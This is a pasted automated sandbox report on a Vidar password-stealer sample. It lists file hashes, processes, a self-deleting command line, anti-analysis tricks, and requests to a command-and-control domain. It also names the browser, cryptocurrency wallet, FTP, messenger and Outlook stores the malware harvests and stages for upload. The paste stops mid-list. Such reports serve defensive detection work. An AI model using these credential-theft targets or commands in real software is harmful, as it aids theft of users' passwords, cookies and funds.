API tools faq
paste
paladin316

Exes_9b993f81115b122127e230115d38e767_exe_2019-07-26_21_30.txt

paladin316
Jul 26th, 2019
2,030
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.99 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Vidar"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Exes_9b993f81115b122127e230115d38e767.exe"
  7. * File Size: 568320
  8. * File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. * SHA256: "7a947e959a79d43a02da5692ea17b9539b6ed8d845d76636db5cdb6faf1d215d"
  10. * MD5: "9b993f81115b122127e230115d38e767"
  11. * SHA1: "8dc2e41f626a012461d7e8368d8a487fb69a93ef"
  12. * SHA512: "d385bb101be6f95fb10eaea1e4ac73be0b7ba640dc0c5c3f3e146e93a4013ecefbb85692afaccb536ac38103bc2d56a020df4bda2428597219f564fb8106e2e2"
  13. * CRC32: "8948F422"
  14. * SSDEEP: "12288:wBfAl65wBqzEZ6wwRAClXuofm6uXFRxm185X3/:ifAliW1ZuXXu0m6EA185"
  15.  
  16. * Process Execution:
  17. "Exes_9b993f81115b122127e230115d38e767.exe",
  18. "cmd.exe",
  19. "taskkill.exe",
  20. "services.exe",
  21. "svchost.exe",
  22. "WmiPrvSE.exe",
  23. "svchost.exe",
  24. "svchost.exe",
  25. "svchost.exe"
  26.  
  27.  
  28. * Executed Commands:
  29. "C:\\Windows\\System32\\cmd.exe /c taskkill /im Exes_9b993f81115b122127e230115d38e767.exe /f & erase C:\\Users\\user\\AppData\\Local\\Temp\\Exes_9b993f81115b122127e230115d38e767.exe & exit",
  30. "C:\\Windows\\system32\\lsass.exe",
  31. "C:\\Windows\\system32\\svchost.exe -k netsvcs",
  32. "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
  33. "taskkill /im Exes_9b993f81115b122127e230115d38e767.exe /f",
  34. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
  35.  
  36.  
  37. * Signatures Detected:
  38.  
  39. "Description": "A process attempted to delay the analysis task.",
  40. "Details":
  41.  
  42. "Process": "WmiPrvSE.exe tried to sleep 360 seconds, actually delayed analysis time by 0 seconds"
  43.  
  44.  
  45. "Process": "taskkill.exe tried to sleep 305 seconds, actually delayed analysis time by 0 seconds"
  46.  
  47.  
  48. "Process": "svchost.exe tried to sleep 720 seconds, actually delayed analysis time by 0 seconds"
  49.  
  50.  
  51.  
  52.  
  53. "Description": "A process created a hidden window",
  54. "Details":
  55.  
  56. "Process": "Exes_9b993f81115b122127e230115d38e767.exe -> C:\\Windows\\System32\\cmd.exe"
  57.  
  58.  
  59.  
  60.  
  61. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  62. "Details":
  63.  
  64. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  65.  
  66.  
  67. "post_no_useragent": "HTTP traffic contains a POST request with no user-agent header"
  68.  
  69.  
  70. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  71.  
  72.  
  73. "suspicious_request": "http://lumatimesquare.net/374"
  74.  
  75.  
  76. "suspicious_request": "http://lumatimesquare.net/freebl3.dll"
  77.  
  78.  
  79. "suspicious_request": "http://lumatimesquare.net/mozglue.dll"
  80.  
  81.  
  82. "suspicious_request": "http://lumatimesquare.net/msvcp140.dll"
  83.  
  84.  
  85. "suspicious_request": "http://lumatimesquare.net/nss3.dll"
  86.  
  87.  
  88. "suspicious_request": "http://lumatimesquare.net/softokn3.dll"
  89.  
  90.  
  91. "suspicious_request": "http://lumatimesquare.net/vcruntime140.dll"
  92.  
  93.  
  94. "suspicious_request": "http://ip-api.com/line/"
  95.  
  96.  
  97. "suspicious_request": "http://lumatimesquare.net/"
  98.  
  99.  
  100.  
  101.  
  102. "Description": "Performs some HTTP requests",
  103. "Details":
  104.  
  105. "url": "http://lumatimesquare.net/374"
  106.  
  107.  
  108. "url": "http://lumatimesquare.net/freebl3.dll"
  109.  
  110.  
  111. "url": "http://lumatimesquare.net/mozglue.dll"
  112.  
  113.  
  114. "url": "http://lumatimesquare.net/msvcp140.dll"
  115.  
  116.  
  117. "url": "http://lumatimesquare.net/nss3.dll"
  118.  
  119.  
  120. "url": "http://lumatimesquare.net/softokn3.dll"
  121.  
  122.  
  123. "url": "http://lumatimesquare.net/vcruntime140.dll"
  124.  
  125.  
  126. "url": "http://ip-api.com/line/"
  127.  
  128.  
  129. "url": "http://lumatimesquare.net/"
  130.  
  131.  
  132.  
  133.  
  134. "Description": "Deletes its original binary from disk",
  135. "Details":
  136.  
  137.  
  138. "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
  139. "Details":
  140.  
  141. "Spam": "services.exe (500) called API GetSystemTimeAsFileTime 14794007 times"
  142.  
  143.  
  144.  
  145.  
  146. "Description": "Steals private information from local Internet browsers",
  147. "Details":
  148.  
  149. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Edge_Cookies.txt"
  150.  
  151.  
  152. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data"
  153.  
  154.  
  155. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\IE_Cookies.txt"
  156.  
  157.  
  158. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Google Chrome_Default.txt"
  159.  
  160.  
  161. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  162.  
  163.  
  164. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History"
  165.  
  166.  
  167. "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"
  168.  
  169.  
  170.  
  171.  
  172. "Description": "Collects information about installed applications",
  173. "Details":
  174.  
  175. "Program": "Google Update Helper"
  176.  
  177.  
  178. "Program": "Microsoft Excel MUI 2013"
  179.  
  180.  
  181. "Program": "Microsoft Outlook MUI 2013"
  182.  
  183.  
  184.  
  185.  
  186. "Program": "Google Chrome"
  187.  
  188.  
  189. "Program": "Adobe Flash Player 29 NPAPI"
  190.  
  191.  
  192. "Program": "Adobe Flash Player 29 ActiveX"
  193.  
  194.  
  195. "Program": "Microsoft DCF MUI 2013"
  196.  
  197.  
  198. "Program": "Microsoft Access MUI 2013"
  199.  
  200.  
  201. "Program": "Microsoft Office Proofing Tools 2013 - English"
  202.  
  203.  
  204. "Program": "Adobe Acrobat Reader DC"
  205.  
  206.  
  207. "Program": "Microsoft Office Proofing Tools 2013 - Espa\\xef\\xbf\\xb1ol"
  208.  
  209.  
  210. "Program": "Microsoft Publisher MUI 2013"
  211.  
  212.  
  213. "Program": "Outils de v\\xef\\xbf\\xa9rification linguistique 2013 de Microsoft Office\\xef\\xbe\\xa0- Fran\\xef\\xbf\\xa7ais"
  214.  
  215.  
  216. "Program": "Microsoft Office Shared MUI 2013"
  217.  
  218.  
  219. "Program": "Microsoft Office OSM MUI 2013"
  220.  
  221.  
  222. "Program": "Microsoft InfoPath MUI 2013"
  223.  
  224.  
  225. "Program": "Microsoft Office Shared Setup Metadata MUI 2013"
  226.  
  227.  
  228. "Program": "Microsoft Word MUI 2013"
  229.  
  230.  
  231. "Program": "Microsoft Groove MUI 2013"
  232.  
  233.  
  234.  
  235.  
  236. "Program": "Microsoft Access Setup Metadata MUI 2013"
  237.  
  238.  
  239. "Program": "Microsoft Office OSM UX MUI 2013"
  240.  
  241.  
  242. "Program": "Java Auto Updater"
  243.  
  244.  
  245. "Program": "Microsoft PowerPoint MUI 2013"
  246.  
  247.  
  248. "Program": "Microsoft Office Professional Plus 2013"
  249.  
  250.  
  251. "Program": "Adobe Refresh Manager"
  252.  
  253.  
  254. "Program": "Microsoft Office Proofing 2013"
  255.  
  256.  
  257. "Program": "Microsoft Lync MUI 2013"
  258.  
  259.  
  260.  
  261.  
  262. "Program": "Microsoft OneNote MUI 2013"
  263.  
  264.  
  265.  
  266.  
  267. "Description": "File has been identified by 48 Antiviruses on VirusTotal as malicious",
  268. "Details":
  269.  
  270. "MicroWorld-eScan": "Gen:Variant.Zusy.294934"
  271.  
  272.  
  273. "FireEye": "Generic.mg.9b993f81115b1221"
  274.  
  275.  
  276. "McAfee": "GenericRXHI-GE!9B993F81115B"
  277.  
  278.  
  279. "Malwarebytes": "Spyware.Vidar"
  280.  
  281.  
  282. "SUPERAntiSpyware": "Trojan.Agent/Gen-Dropper"
  283.  
  284.  
  285. "K7AntiVirus": "Password-Stealer ( 0054d1a31 )"
  286.  
  287.  
  288. "Alibaba": "TrojanPSW:Win32/Generic.aa94cc0b"
  289.  
  290.  
  291. "K7GW": "Password-Stealer ( 0054d1a31 )"
  292.  
  293.  
  294. "Cybereason": "malicious.1115b1"
  295.  
  296.  
  297. "Symantec": "ML.Attribute.HighConfidence"
  298.  
  299.  
  300. "ESET-NOD32": "a variant of Win32/PSW.Agent.OGR"
  301.  
  302.  
  303. "APEX": "Malicious"
  304.  
  305.  
  306. "Paloalto": "generic.ml"
  307.  
  308.  
  309. "Kaspersky": "HEUR:Trojan.Win32.Generic"
  310.  
  311.  
  312. "BitDefender": "Gen:Variant.Zusy.294934"
  313.  
  314.  
  315. "NANO-Antivirus": "Trojan.Win32.Vidar.fshrht"
  316.  
  317.  
  318. "Avast": "Win32:PWSX-gen Trj"
  319.  
  320.  
  321. "Rising": "Stealer.Vidar!1.B80D (CLASSIC)"
  322.  
  323.  
  324. "Ad-Aware": "Gen:Variant.Zusy.294934"
  325.  
  326.  
  327. "Emsisoft": "Gen:Variant.Zusy.294934 (B)"
  328.  
  329.  
  330. "F-Secure": "Trojan.TR/AD.VidarStealer.bbfw"
  331.  
  332.  
  333. "DrWeb": "Trojan.PWS.Siggen2.19723"
  334.  
  335.  
  336. "Invincea": "heuristic"
  337.  
  338.  
  339. "McAfee-GW-Edition": "BehavesLike.Win32.Generic.hh"
  340.  
  341.  
  342. "Trapmine": "malicious.moderate.ml.score"
  343.  
  344.  
  345. "Sophos": "Mal/Generic-S"
  346.  
  347.  
  348. "Ikarus": "Trojan-Spy.Vidar"
  349.  
  350.  
  351. "Jiangmin": "Trojan.Generic.dlxab"
  352.  
  353.  
  354. "Webroot": "W32.Trojan.Gen"
  355.  
  356.  
  357. "Avira": "TR/AD.VidarStealer.bbfw"
  358.  
  359.  
  360. "Fortinet": "W32/GenKryptik.DDSI!tr.pws"
  361.  
  362.  
  363. "Antiy-AVL": "Trojan/Win32.Skeeyah"
  364.  
  365.  
  366. "Endgame": "malicious (high confidence)"
  367.  
  368.  
  369. "Arcabit": "Trojan.Zusy.D48016"
  370.  
  371.  
  372. "AegisLab": "Trojan.Win32.Generic.4!c"
  373.  
  374.  
  375. "ZoneAlarm": "HEUR:Trojan.Win32.Generic"
  376.  
  377.  
  378. "Microsoft": "Trojan:Win32/Dynamer!rfn"
  379.  
  380.  
  381. "AhnLab-V3": "Malware/Win32.RL_Generic.R264426"
  382.  
  383.  
  384. "Acronis": "suspicious"
  385.  
  386.  
  387. "ALYac": "Gen:Variant.Zusy.294934"
  388.  
  389.  
  390. "MAX": "malware (ai score=100)"
  391.  
  392.  
  393. "VBA32": "BScope.TrojanPSW.Tepfer"
  394.  
  395.  
  396. "Cylance": "Unsafe"
  397.  
  398.  
  399. "SentinelOne": "DFI - Suspicious PE"
  400.  
  401.  
  402. "GData": "Gen:Variant.Zusy.294934"
  403.  
  404.  
  405. "AVG": "Win32:PWSX-gen Trj"
  406.  
  407.  
  408. "Panda": "Trj/Genetic.gen"
  409.  
  410.  
  411. "CrowdStrike": "win/malicious_confidence_90% (W)"
  412.  
  413.  
  414.  
  415.  
  416. "Description": "Checks the CPU name from registry, possibly for anti-virtualization",
  417. "Details":
  418.  
  419.  
  420. "Description": "Attempts to access Bitcoin/ALTCoin wallets",
  421. "Details":
  422.  
  423. "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\*.dat"
  424.  
  425.  
  426. "file": "C:\\Users\\user\\AppData\\Roaming\\Bitcoin\\??"
  427.  
  428.  
  429. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Bitcoin\\*.*"
  430.  
  431.  
  432. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x95\\x8b"
  433.  
  434.  
  435. "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\default_wallet"
  436.  
  437.  
  438. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Electrum\\"
  439.  
  440.  
  441. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Electrum\\*.*"
  442.  
  443.  
  444. "file": "C:\\Users\\user\\AppData\\Roaming\\Electrum\\wallets\\"
  445.  
  446.  
  447. "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\"
  448.  
  449.  
  450. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Litecoin\\"
  451.  
  452.  
  453. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Litecoin\\*.*"
  454.  
  455.  
  456. "file": "C:\\Users\\user\\AppData\\Roaming\\Litecoin\\*.dat"
  457.  
  458.  
  459. "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\"
  460.  
  461.  
  462. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\NameCoin\\*.*"
  463.  
  464.  
  465. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\NameCoin\\"
  466.  
  467.  
  468. "file": "C:\\Users\\user\\AppData\\Roaming\\Namecoin\\*.dat"
  469.  
  470.  
  471. "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\*.dat"
  472.  
  473.  
  474. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\TerraCoin\\"
  475.  
  476.  
  477. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\TerraCoin\\*.*"
  478.  
  479.  
  480. "file": "C:\\Users\\user\\AppData\\Roaming\\Terracoin\\"
  481.  
  482.  
  483. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\PrimeCoin\\"
  484.  
  485.  
  486. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\PrimeCoin\\*.*"
  487.  
  488.  
  489. "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\"
  490.  
  491.  
  492. "file": "C:\\Users\\user\\AppData\\Roaming\\Primecoin\\*.dat"
  493.  
  494.  
  495. "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\*.dat"
  496.  
  497.  
  498. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FreiCoin\\*.*"
  499.  
  500.  
  501. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FreiCoin\\"
  502.  
  503.  
  504. "file": "C:\\Users\\user\\AppData\\Roaming\\Freicoin\\"
  505.  
  506.  
  507. "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\"
  508.  
  509.  
  510. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DevCoin\\*.*"
  511.  
  512.  
  513. "file": "C:\\Users\\user\\AppData\\Roaming\\devcoin\\*.dat"
  514.  
  515.  
  516. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DevCoin\\"
  517.  
  518.  
  519. "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\*.dat"
  520.  
  521.  
  522. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Franko\\*.*"
  523.  
  524.  
  525. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Franko\\"
  526.  
  527.  
  528. "file": "C:\\Users\\user\\AppData\\Roaming\\Franko\\"
  529.  
  530.  
  531. "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\*.dat"
  532.  
  533.  
  534. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MegaCoin\\"
  535.  
  536.  
  537. "file": "C:\\Users\\user\\AppData\\Roaming\\Megacoin\\"
  538.  
  539.  
  540. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MegaCoin\\*.*"
  541.  
  542.  
  543. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\InfiniteCoin\\"
  544.  
  545.  
  546. "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\*.dat"
  547.  
  548.  
  549. "file": "C:\\Users\\user\\AppData\\Roaming\\Infinitecoin\\"
  550.  
  551.  
  552. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\InfiniteCoin\\*.*"
  553.  
  554.  
  555. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IxCoin\\*.*"
  556.  
  557.  
  558. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IxCoin\\"
  559.  
  560.  
  561. "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\"
  562.  
  563.  
  564. "file": "C:\\Users\\user\\AppData\\Roaming\\Ixcoin\\*.dat"
  565.  
  566.  
  567. "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\"
  568.  
  569.  
  570. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Anoncoin\\*.*"
  571.  
  572.  
  573. "file": "C:\\Users\\user\\AppData\\Roaming\\Anoncoin\\*.dat"
  574.  
  575.  
  576. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Anoncoin\\"
  577.  
  578.  
  579. "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\*.dat"
  580.  
  581.  
  582. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\BBQCoin\\"
  583.  
  584.  
  585. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\BBQCoin\\*.*"
  586.  
  587.  
  588. "file": "C:\\Users\\user\\AppData\\Roaming\\BBQCoin\\"
  589.  
  590.  
  591. "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\*.dat"
  592.  
  593.  
  594. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DigitalCoin\\*.*"
  595.  
  596.  
  597. "file": "C:\\Users\\user\\AppData\\Roaming\\digitalcoin\\"
  598.  
  599.  
  600. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DigitalCoin\\"
  601.  
  602.  
  603. "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\*.dat"
  604.  
  605.  
  606. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MinCoin\\*.*"
  607.  
  608.  
  609. "file": "C:\\Users\\user\\AppData\\Roaming\\Mincoin\\"
  610.  
  611.  
  612. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MinCoin\\"
  613.  
  614.  
  615. "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\*.dat"
  616.  
  617.  
  618. "file": "C:\\Users\\user\\AppData\\Roaming\\GoldCoin (GLD)\\"
  619.  
  620.  
  621. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\YACoin\\"
  622.  
  623.  
  624. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\YACoin\\*.*"
  625.  
  626.  
  627. "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\*.dat"
  628.  
  629.  
  630. "file": "C:\\Users\\user\\AppData\\Roaming\\YACoin\\"
  631.  
  632.  
  633. "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\*.dat"
  634.  
  635.  
  636. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FlorinCoin\\*.*"
  637.  
  638.  
  639. "file": "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FlorinCoin\\"
  640.  
  641.  
  642. "file": "C:\\Users\\user\\AppData\\Roaming\\Florincoin\\"
  643.  
  644.  
  645.  
  646.  
  647. "Description": "Harvests credentials from local FTP client softwares",
  648. "Details":
  649.  
  650. "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
  651.  
  652.  
  653.  
  654.  
  655. "Description": "Harvests information related to installed instant messenger clients",
  656. "Details":
  657.  
  658. "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
  659.  
  660.  
  661.  
  662.  
  663. "Description": "Harvests information related to installed mail clients",
  664. "Details":
  665.  
  666. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003"
  667.  
  668.  
  669. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000007"
  670.  
  671.  
  672. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000006"
  673.  
  674.  
  675. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000005"
  676.  
  677.  
  678. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000004"
  679.  
  680.  
  681. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000009"
  682.  
  683.  
  684. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000008"
  685.  
  686.  
  687.  
  688.  
  689. "Description": "Collects information to fingerprint the system",
  690. "Details":
  691.  
  692.  
  693. "Description": "Created network traffic indicative of malicious activity",
  694. "Details":
  695.  
  696. "signature": "ET TROJAN Vidar/Arkei Stealer Client Data Upload"
  697.  
  698.  
  699.  
  700.  
  701.  
  702. * Started Service:
  703. "VaultSvc",
  704. "WerSvc",
  705. "Winmgmt"
  706.  
  707.  
  708. * Mutexes:
  709. "00000000-0000-0000-0000-0000000000003d3783a0-703a-11de-8c7a-806e6f6e6963"
  710.  
  711.  
  712. * Modified Files:
  713. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\passwords.txt",
  714. "C:\\ProgramData\\freebl3.dll",
  715. "C:\\ProgramData\\mozglue.dll",
  716. "C:\\ProgramData\\msvcp140.dll",
  717. "C:\\ProgramData\\nss3.dll",
  718. "C:\\ProgramData\\softokn3.dll",
  719. "C:\\ProgramData\\vcruntime140.dll",
  720. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\ld",
  721. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\historych",
  722. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\History\\Google Chrome_Default.txt",
  723. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Downloads\\Google Chrome_Default.txt",
  724. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\c",
  725. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Google Chrome_Default.txt",
  726. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\wd",
  727. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Autofill\\Google Chrome_Default.txt",
  728. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\CC\\Google Chrome_Default.txt",
  729. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Soft\\Authy\\\\xef\\xbf\\xa0\\xcd\\xa4\\xeb\\x82\\xa8\\xc8\\x99\\xeb\\x8d\\xb8\\xc8\\x99\\xeb\\x83\\xa8\\xc8\\x99",
  730. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\IE_Cookies.txt",
  731. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Edge_Cookies.txt",
  732. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\cookie_list.txt",
  733. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\outlook.txt",
  734. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\information.txt",
  735. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Files\\Default.zip",
  736. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Bitcoin\\\\xe1\\x93\\x9d\\xe7\\x95\\x8b",
  737. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Ethereum\\",
  738. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Electrum\\",
  739. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\ElectrumLTC\\",
  740. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Exodus\\",
  741. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\ElectronCash\\",
  742. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MultiDoge\\",
  743. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Zcash\\",
  744. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DashCore\\",
  745. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Litecoin\\",
  746. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Anoncoin\\",
  747. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\BBQCoin\\",
  748. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DevCoin\\",
  749. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DigitalCoin\\",
  750. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FlorinCoin\\",
  751. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Franko\\",
  752. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FreiCoin\\",
  753. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\GoldCoinGLD\\",
  754. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\InfiniteCoin\\",
  755. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IOCoin\\",
  756. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IxCoin\\",
  757. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MegaCoin\\",
  758. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MinCoin\\",
  759. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\NameCoin\\",
  760. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\PrimeCoin\\",
  761. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\TerraCoin\\",
  762. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\YACoin\\",
  763. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\JAXX\\",
  764. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\screenshot.jpg",
  765. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\US_00000000-0000-0000-0000-0000000000001797115327.zip",
